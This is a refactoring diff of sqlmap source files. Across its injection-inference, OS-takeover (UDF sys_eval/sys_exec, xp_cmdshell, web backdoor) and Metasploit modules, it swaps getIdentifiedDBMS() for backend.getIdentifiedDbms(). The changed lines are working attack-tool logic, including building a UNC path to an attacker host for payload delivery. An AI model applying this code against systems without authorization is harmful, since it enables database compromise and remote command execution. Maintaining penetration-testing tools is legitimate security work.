from lib.core.common import initTechnique
|
||||||
from lib.core.common import isNumPosStrValue
|
from lib.core.common import isNumPosStrValue
|
||||||
|
@ -54,7 +54,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
|
||||||
|
|
||||||
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||||
|
|
||||||
if (conf.eta or conf.threads > 1) and getIdentifiedDBMS() and not timeBasedCompare:
|
if (conf.eta or conf.threads > 1) and backend.getIdentifiedDbms() and not timeBasedCompare:
|
||||||
_, length, _ = queryOutputLength(expression, payload)
|
_, length, _ = queryOutputLength(expression, payload)
|
||||||
else:
|
else:
|
||||||
length = None
|
length = None
|
||||||
|
@ -137,186 +137,183 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||||
if not unpack:
|
if not unpack:
|
||||||
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
||||||
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
|
||||||
|
|
||||||
rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
|
rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
|
||||||
if rdbRegExp and getIdentifiedDBMS() == DBMS.FIREBIRD:
|
if rdbRegExp and backend.getIdentifiedDbms() == DBMS.FIREBIRD:
|
||||||
expressionFieldsList = [expressionFields]
|
expressionFieldsList = [expressionFields]
|
||||||
|
|
||||||
if len(expressionFieldsList) > 1:
|
if len(expressionFieldsList) > 1:
|
||||||
infoMsg = "the SQL query provided has more than a field. "
|
infoMsg = "the SQL query provided has more than a field. "
|
||||||
infoMsg += "sqlmap will now unpack it into distinct queries "
|
infoMsg += "sqlmap will now unpack it into distinct queries "
|
||||||
infoMsg += "to be able to retrieve the output even if we "
|
infoMsg += "to be able to retrieve the output even if we "
|
||||||
infoMsg += "are going blind"
|
infoMsg += "are going blind"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# If we have been here from SQL query/shell we have to check if
|
# If we have been here from SQL query/shell we have to check if
|
||||||
# the SQL query might return multiple entries and in such case
|
# the SQL query might return multiple entries and in such case
|
||||||
# forge the SQL limiting the query output one entry per time
|
# forge the SQL limiting the query output one entry per time
|
||||||
# NOTE: I assume that only queries that get data from a table
|
# NOTE: I assume that only queries that get data from a table
|
||||||
# can return multiple entries
|
# can return multiple entries
|
||||||
if fromUser and " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))):
|
if fromUser and " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))):
|
||||||
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
|
limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
|
||||||
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||||
|
|
||||||
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||||
|
|
||||||
|
if limitGroupStart.isdigit():
|
||||||
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
|
||||||
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
|
if limitRegExp:
|
||||||
|
limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
|
||||||
|
limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
|
||||||
|
|
||||||
if limitGroupStart.isdigit():
|
if limitGroupStart.isdigit():
|
||||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
|
||||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
limitCond = int(stopLimit) > 1
|
limitCond = int(stopLimit) > 1
|
||||||
|
elif topLimit:
|
||||||
|
startLimit = 0
|
||||||
|
stopLimit = int(topLimit.group(1))
|
||||||
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||||
if limitRegExp:
|
limitCond = False
|
||||||
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
|
else:
|
||||||
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
|
limitCond = True
|
||||||
|
|
||||||
if limitGroupStart.isdigit():
|
# I assume that only queries NOT containing a "LIMIT #, 1"
|
||||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
# (or similar depending on the back-end DBMS) can return
|
||||||
|
# multiple entries
|
||||||
|
if limitCond:
|
||||||
|
if limitRegExp:
|
||||||
|
stopLimit = int(stopLimit)
|
||||||
|
|
||||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
# From now on we need only the expression until the " LIMIT "
|
||||||
limitCond = int(stopLimit) > 1
|
# (or similar, depending on the back-end DBMS) word
|
||||||
elif topLimit:
|
if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||||
startLimit = 0
|
stopLimit += startLimit
|
||||||
stopLimit = int(topLimit.group(1))
|
untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
|
||||||
limitCond = int(stopLimit) > 1
|
expression = expression[:untilLimitChar]
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.ORACLE:
|
elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
limitCond = False
|
stopLimit += startLimit
|
||||||
else:
|
|
||||||
limitCond = True
|
|
||||||
|
|
||||||
# I assume that only queries NOT containing a "LIMIT #, 1"
|
if not stopLimit or stopLimit <= 1:
|
||||||
# (or similar depending on the back-end DBMS) can return
|
if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
|
||||||
# multiple entries
|
test = False
|
||||||
if limitCond:
|
else:
|
||||||
if limitRegExp:
|
test = True
|
||||||
stopLimit = int(stopLimit)
|
|
||||||
|
|
||||||
# From now on we need only the expression until the " LIMIT "
|
if test:
|
||||||
# (or similar, depending on the back-end DBMS) word
|
# Count the number of SQL query entries output
|
||||||
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
|
countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
|
||||||
stopLimit += startLimit
|
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
||||||
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
|
|
||||||
expression = expression[:untilLimitChar]
|
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
|
if re.search(" ORDER BY ", expression, re.I):
|
||||||
stopLimit += startLimit
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||||
|
countedExpression = countedExpression[:untilOrderChar]
|
||||||
|
|
||||||
if not stopLimit or stopLimit <= 1:
|
if resumeValue:
|
||||||
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
|
count = resume(countedExpression, payload)
|
||||||
test = False
|
|
||||||
else:
|
|
||||||
test = True
|
|
||||||
|
|
||||||
if test:
|
if not stopLimit:
|
||||||
# Count the number of SQL query entries output
|
if not count or not count.isdigit():
|
||||||
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
|
count = __goInference(payload, countedExpression, 2, firstChar, lastChar)
|
||||||
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
|
||||||
|
|
||||||
if re.search(" ORDER BY ", expression, re.I):
|
if isNumPosStrValue(count):
|
||||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
count = int(count)
|
||||||
countedExpression = countedExpression[:untilOrderChar]
|
|
||||||
|
|
||||||
if resumeValue:
|
if batch:
|
||||||
count = resume(countedExpression, payload)
|
stopLimit = count
|
||||||
|
else:
|
||||||
|
message = "the SQL query provided can return "
|
||||||
|
message += "%d entries. How many " % count
|
||||||
|
message += "entries do you want to retrieve?\n"
|
||||||
|
message += "[a] All (default)\n[#] Specific number\n"
|
||||||
|
message += "[q] Quit"
|
||||||
|
test = readInput(message, default="a")
|
||||||
|
|
||||||
if not stopLimit:
|
if not test or test[0] in ("a", "A"):
|
||||||
if not count or not count.isdigit():
|
|
||||||
count = __goInference(payload, countedExpression, 2, firstChar, lastChar)
|
|
||||||
|
|
||||||
if isNumPosStrValue(count):
|
|
||||||
count = int(count)
|
|
||||||
|
|
||||||
if batch:
|
|
||||||
stopLimit = count
|
stopLimit = count
|
||||||
else:
|
|
||||||
message = "the SQL query provided can return "
|
|
||||||
message += "%d entries. How many " % count
|
|
||||||
message += "entries do you want to retrieve?\n"
|
|
||||||
message += "[a] All (default)\n[#] Specific number\n"
|
|
||||||
message += "[q] Quit"
|
|
||||||
test = readInput(message, default="a")
|
|
||||||
|
|
||||||
if not test or test[0] in ("a", "A"):
|
elif test[0] in ("q", "Q"):
|
||||||
stopLimit = count
|
raise sqlmapUserQuitException
|
||||||
|
|
||||||
elif test[0] in ("q", "Q"):
|
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
||||||
raise sqlmapUserQuitException
|
stopLimit = int(test)
|
||||||
|
|
||||||
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
infoMsg = "sqlmap is now going to retrieve the "
|
||||||
stopLimit = int(test)
|
infoMsg += "first %d query output entries" % stopLimit
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
infoMsg = "sqlmap is now going to retrieve the "
|
elif test[0] in ("#", "s", "S"):
|
||||||
infoMsg += "first %d query output entries" % stopLimit
|
message = "how many? "
|
||||||
logger.info(infoMsg)
|
stopLimit = readInput(message, default="10")
|
||||||
|
|
||||||
elif test[0] in ("#", "s", "S"):
|
if not stopLimit.isdigit():
|
||||||
message = "how many? "
|
|
||||||
stopLimit = readInput(message, default="10")
|
|
||||||
|
|
||||||
if not stopLimit.isdigit():
|
|
||||||
errMsg = "invalid choice"
|
|
||||||
logger.error(errMsg)
|
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
else:
|
|
||||||
stopLimit = int(stopLimit)
|
|
||||||
|
|
||||||
else:
|
|
||||||
errMsg = "invalid choice"
|
errMsg = "invalid choice"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
elif count and not count.isdigit():
|
else:
|
||||||
warnMsg = "it was not possible to count the number "
|
stopLimit = int(stopLimit)
|
||||||
warnMsg += "of entries for the SQL query provided. "
|
|
||||||
warnMsg += "sqlmap will assume that it returns only "
|
|
||||||
warnMsg += "one entry"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
stopLimit = 1
|
else:
|
||||||
|
errMsg = "invalid choice"
|
||||||
|
logger.error(errMsg)
|
||||||
|
|
||||||
elif (not count or int(count) == 0):
|
return None
|
||||||
warnMsg = "the SQL query provided does not "
|
|
||||||
warnMsg += "return any output"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return None
|
elif count and not count.isdigit():
|
||||||
|
warnMsg = "it was not possible to count the number "
|
||||||
|
warnMsg += "of entries for the SQL query provided. "
|
||||||
|
warnMsg += "sqlmap will assume that it returns only "
|
||||||
|
warnMsg += "one entry"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
|
stopLimit = 1
|
||||||
|
|
||||||
|
elif (not count or int(count) == 0):
|
||||||
warnMsg = "the SQL query provided does not "
|
warnMsg = "the SQL query provided does not "
|
||||||
warnMsg += "return any output"
|
warnMsg += "return any output"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
try:
|
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
|
||||||
for num in xrange(startLimit, stopLimit):
|
warnMsg = "the SQL query provided does not "
|
||||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
warnMsg += "return any output"
|
||||||
outputs.append(output)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
return None
|
||||||
print
|
|
||||||
warnMsg = "Ctrl+C detected in dumping phase"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return outputs
|
try:
|
||||||
|
for num in xrange(startLimit, stopLimit):
|
||||||
|
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||||
|
outputs.append(output)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
|
except KeyboardInterrupt:
|
||||||
expression += FROM_TABLE[getIdentifiedDBMS()]
|
print
|
||||||
|
warnMsg = "Ctrl+C detected in dumping phase"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
return outputs
|
||||||
returnValue = ", ".join([output for output in outputs])
|
|
||||||
else:
|
elif backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
|
||||||
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
|
expression += FROM_TABLE[backend.getIdentifiedDbms()]
|
||||||
|
|
||||||
|
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||||
|
returnValue = ", ".join([output for output in outputs])
|
||||||
|
|
||||||
return returnValue
|
return returnValue
|
||||||
|
|
||||||
|
@ -495,7 +492,7 @@ def goStacked(expression, silent=False):
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
return direct(expression), None
|
return direct(expression), None
|
||||||
|
|
||||||
comment = queries[getIdentifiedDBMS()].comment.query
|
comment = queries[backend.getIdentifiedDbms()].comment.query
|
||||||
query = agent.prefixQuery("; %s" % expression)
|
query = agent.prefixQuery("; %s" % expression)
|
||||||
query = agent.suffixQuery("%s;%s" % (query, comment))
|
query = agent.suffixQuery("%s;%s" % (query, comment))
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|
|
@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -41,10 +41,10 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||||
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||||
self.webBackdoorRunCmd(cmd)
|
self.webBackdoorRunCmd(cmd)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
elif backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
self.udfExecCmd(cmd, silent=silent)
|
self.udfExecCmd(cmd, silent=silent)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
self.xpCmdshellExecCmd(cmd, silent=silent)
|
self.xpCmdshellExecCmd(cmd, silent=silent)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -55,10 +55,10 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||||
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||||
return self.webBackdoorRunCmd(cmd)
|
return self.webBackdoorRunCmd(cmd)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
elif backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
return self.udfEvalCmd(cmd, first, last)
|
return self.udfEvalCmd(cmd, first, last)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
return self.xpCmdshellEvalCmd(cmd, first, last)
|
return self.xpCmdshellEvalCmd(cmd, first, last)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -93,13 +93,13 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
infoMsg = "going to use injected sys_eval and sys_exec "
|
infoMsg = "going to use injected sys_eval and sys_exec "
|
||||||
infoMsg += "user-defined functions for operating system "
|
infoMsg += "user-defined functions for operating system "
|
||||||
infoMsg += "command execution"
|
infoMsg += "command execution"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
infoMsg = "going to use xp_cmdshell extended procedure for "
|
infoMsg = "going to use xp_cmdshell extended procedure for "
|
||||||
infoMsg += "operating system command execution"
|
infoMsg += "operating system command execution"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -151,9 +151,9 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||||
warnMsg += "the session user is not a database administrator"
|
warnMsg += "the session user is not a database administrator"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
self.udfInjectSys()
|
self.udfInjectSys()
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL:
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
if mandatory:
|
if mandatory:
|
||||||
self.xpCmdshellInit()
|
self.xpCmdshellInit()
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -19,7 +19,7 @@ from subprocess import PIPE
|
||||||
from subprocess import Popen as execute
|
from subprocess import Popen as execute
|
||||||
|
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import getLocalIP
|
from lib.core.common import getLocalIP
|
||||||
from lib.core.common import getRemoteIP
|
from lib.core.common import getRemoteIP
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
|
@ -187,13 +187,13 @@ class Metasploit:
|
||||||
if __payloadStr == "windows/vncinject":
|
if __payloadStr == "windows/vncinject":
|
||||||
choose = False
|
choose = False
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||||
debugMsg += "user, it is likely that the the VNC "
|
debugMsg += "user, it is likely that the the VNC "
|
||||||
debugMsg += "injection will be successful"
|
debugMsg += "injection will be successful"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
choose = True
|
choose = True
|
||||||
|
|
||||||
warnMsg = "by default PostgreSQL on Windows runs as "
|
warnMsg = "by default PostgreSQL on Windows runs as "
|
||||||
|
@ -201,12 +201,12 @@ class Metasploit:
|
||||||
warnMsg += "injection will be successful"
|
warnMsg += "injection will be successful"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
|
||||||
choose = True
|
choose = True
|
||||||
|
|
||||||
warnMsg = "it is unlikely that the VNC injection will be "
|
warnMsg = "it is unlikely that the VNC injection will be "
|
||||||
warnMsg += "successful because usually Microsoft SQL Server "
|
warnMsg += "successful because usually Microsoft SQL Server "
|
||||||
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
|
warnMsg += "%s runs as Network Service " % backend.getVersion()
|
||||||
warnMsg += "or the Administrator is not logged in"
|
warnMsg += "or the Administrator is not logged in"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -230,12 +230,12 @@ class Metasploit:
|
||||||
break
|
break
|
||||||
|
|
||||||
elif choice == "1":
|
elif choice == "1":
|
||||||
if getIdentifiedDBMS() == DBMS.PGSQL:
|
if backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
logger.warn("beware that the VNC injection might not work")
|
logger.warn("beware that the VNC injection might not work")
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
|
||||||
break
|
break
|
||||||
|
|
||||||
elif not choice.isdigit():
|
elif not choice.isdigit():
|
||||||
|
@ -555,7 +555,7 @@ class Metasploit:
|
||||||
# This is useful for sqlmap because on PostgreSQL it is not
|
# This is useful for sqlmap because on PostgreSQL it is not
|
||||||
# possible to write files bigger than 8192 bytes abusing the
|
# possible to write files bigger than 8192 bytes abusing the
|
||||||
# lo_export() feature implemented in sqlmap.
|
# lo_export() feature implemented in sqlmap.
|
||||||
if getIdentifiedDBMS() == DBMS.PGSQL:
|
if backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
self.__fileFormat = "exe-small"
|
self.__fileFormat = "exe-small"
|
||||||
else:
|
else:
|
||||||
self.__fileFormat = "exe"
|
self.__fileFormat = "exe"
|
||||||
|
@ -657,7 +657,7 @@ class Metasploit:
|
||||||
self.__forgeMsfConsoleResource()
|
self.__forgeMsfConsoleResource()
|
||||||
self.__forgeMsfConsoleCmd()
|
self.__forgeMsfConsoleCmd()
|
||||||
|
|
||||||
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
|
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
|
||||||
else:
|
else:
|
||||||
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
|
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
|
||||||
|
|
|
@ -11,7 +11,7 @@ import os
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -51,7 +51,7 @@ class UDF:
|
||||||
def __checkExistUdf(self, udf):
|
def __checkExistUdf(self, udf):
|
||||||
logger.info("checking if UDF '%s' already exist" % udf)
|
logger.info("checking if UDF '%s' already exist" % udf)
|
||||||
|
|
||||||
query = agent.forgeCaseStatement(queries[getIdentifiedDBMS()].check_udf.query % (udf, udf))
|
query = agent.forgeCaseStatement(queries[backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
|
||||||
exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2)
|
exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2)
|
||||||
|
|
||||||
if exists == "1":
|
if exists == "1":
|
||||||
|
@ -104,7 +104,7 @@ class UDF:
|
||||||
return output
|
return output
|
||||||
|
|
||||||
def udfCheckNeeded(self):
|
def udfCheckNeeded(self):
|
||||||
if ( not conf.rFile or ( conf.rFile and getIdentifiedDBMS() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs:
|
if ( not conf.rFile or ( conf.rFile and backend.getIdentifiedDbms() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs:
|
||||||
self.sysUdfs.pop("sys_fileread")
|
self.sysUdfs.pop("sys_fileread")
|
||||||
|
|
||||||
if not conf.osPwn:
|
if not conf.osPwn:
|
||||||
|
@ -143,9 +143,9 @@ class UDF:
|
||||||
if udf in self.udfToCreate and udf not in self.createdUdf:
|
if udf in self.udfToCreate and udf not in self.createdUdf:
|
||||||
self.udfCreateFromSharedLib(udf, inpRet)
|
self.udfCreateFromSharedLib(udf, inpRet)
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
supportTblType = "longtext"
|
supportTblType = "longtext"
|
||||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
supportTblType = "text"
|
supportTblType = "text"
|
||||||
|
|
||||||
self.udfCreateSupportTbl(supportTblType)
|
self.udfCreateSupportTbl(supportTblType)
|
||||||
|
@ -156,8 +156,8 @@ class UDF:
|
||||||
self.udfInjectCore(self.sysUdfs)
|
self.udfInjectCore(self.sysUdfs)
|
||||||
|
|
||||||
def udfInjectCustom(self):
|
def udfInjectCustom(self):
|
||||||
if getIdentifiedDBMS() not in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if backend.getIdentifiedDbms() not in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
errMsg = "UDF injection feature is not yet implemented on %s" % getIdentifiedDBMS()
|
errMsg = "UDF injection feature is not yet implemented on %s" % backend.getIdentifiedDbms()
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
||||||
|
@ -236,9 +236,9 @@ class UDF:
|
||||||
else:
|
else:
|
||||||
logger.warn("you need to specify the name of the UDF")
|
logger.warn("you need to specify the name of the UDF")
|
||||||
|
|
||||||
if getIdentifiedDBMS() == DBMS.MYSQL:
|
if backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
defaultType = "string"
|
defaultType = "string"
|
||||||
elif getIdentifiedDBMS() == DBMS.PGSQL:
|
elif backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
defaultType = "text"
|
defaultType = "text"
|
||||||
|
|
||||||
self.udfs[udfName]["input"] = []
|
self.udfs[udfName]["input"] = []
|
||||||
|
|
|
@ -7,6 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
